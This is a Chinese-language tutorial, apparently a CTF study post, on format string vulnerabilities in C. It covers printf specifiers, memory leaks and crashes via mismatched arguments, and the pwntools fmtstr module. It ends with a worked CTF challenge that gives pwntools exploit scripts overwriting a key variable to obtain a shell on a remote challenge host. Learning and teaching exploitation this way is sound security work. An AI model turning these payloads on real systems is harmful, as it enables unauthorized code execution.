文章目录
前言
格式化输出函数
#include <stdio.h>
int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);
转换指示符
字符 | 类型 | 使用 |
---|---|---|
d | 4-byte | Integer——整型 |
u | 4-byte | Unsigned Integer——无符号整型 |
x | 4-byte | Hex——16进制数 |
s | 4-byte ptr | String |
c | 1-byte | Character |
长度
字符 | 类型 | 使用 |
---|---|---|
hh | 1-byte | char |
h | 2-byte | short int |
l | 4-byte | long int |
ll | 8-byte | long long int |
一、什么是格式化字符串漏洞
如果输入正常的字符,程序就不会有问题。
格式字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配。
为什么可以通过编译?
因为 printf() 函数的参数被定义为可变的。
为了发现不匹配的情况,编译器需要理解 printf() 是怎么工作的和格式字符串是什么。然而,编译器并不知道这些。
有时格式字符串并不是固定的,它可能在程序执行中动态生成。
printf() 函数自己可以发现不匹配吗?
printf() 函数从栈中取出参数,如果它需要 3 个,那它就取出 3 个。除非栈的边界被标记了,否则 printf() 是不会知道它取出的参数比提供给它的参数多了。然而并没有这样的标记。
二、使用场景
存在格式化输出函数
三、作用
1.使程序崩溃
格式化字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 SIGSEGV 信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。
利用类似下面的格式字符串即可触发漏洞:
printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
对于每一个 %s,printf() 都要从栈中获取一个数字,把该数字视为一个地址,然后打印出地址指向的内存内容,直到出现一个 NULL 字符。
因为不可能获取的每一个数字都是地址,数字所对应的内存可能并不存在。
还有可能获得的数字确实是一个地址,但是该地址是被保护的
2.查看栈内容
使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 printf() 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 printf() 调用时出现的顺序是一致的。
3.查看任意地址的内存
攻击者可以使用一个“显示指定地址的内存”的格式规范来查看任意地址的内存。例如,使用 %s 显示参数 指针所指定的地址的内存,将它作为一个 ASCII 字符串处理,直到遇到一个空字符。如果攻击者能够操纵这个参数指针指向一个特定的地址,那么 %s 就会输出该位置的内存内容。
4.任意地址写
四、pwntools pwnlib.fmtstr 模块
文档地址:fmtstr
该模块提供了一些字符串漏洞利用的工具。该模块中定义了一个类 FmtStr
和一个函数 fmtstr_payload
。
FmtStr
提供了自动化的字符串漏洞利用:
class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)
- execute_fmt (function):与漏洞进程进行交互的函数
- offset (int):你控制的第一个格式化程序的偏移量
- padlen (int):在 paylod 之前添加的 pad 的大小
- numbwritten (int):已经写入的字节数
fmtstr_payload
用于自动生成格式化字符串 paylod:
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
- offset (int):你控制的第一个格式化程序的偏移量
- writes (dict):格式为 {addr: value, addr2: value2},用于往 addr 里写入 value 的值(常用:{printf_got})
- numbwritten (int):已经由 printf 函数写入的字节数
- write_size (str):必须是 byte,short 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写(hhn,hn或n)
五、例题——实时数据检测
cve
int locker()
{
int result; // eax@2
char s; // [sp+0h] [bp-208h]@1
fgets(&s, 512, stdin);
imagemagic(&s);
if ( key == 35795746 )
result = system("/bin/sh");
else
//cve
result = printf(
"The location of key is %08x, and its value is %08x,not the 0x02223322. (鈺靶斅鈺傅 鈹烩攣鈹籠n",
&key,
key);
return result;
}
offset
from pwn import *
p = process('./shishi')
gdb.attach(p, 'b *0x080484A7')
key_addr = 0x0804A048
payload = 'aaaa%4$s'
p.sendline(payload)
p.interactive()
得到offset=12
exp
from pwn import *
p = remote("111.200.241.244",48715)
key_addr = 0x0804A048
payload = fmtstr_payload(12,{key_addr:35795746})
p.sendline(payload)
p.interactive()
fmtstr_payload第一个参数是offest(偏移),后面是地址,和地址中写入的值。
实现了将key写成35795746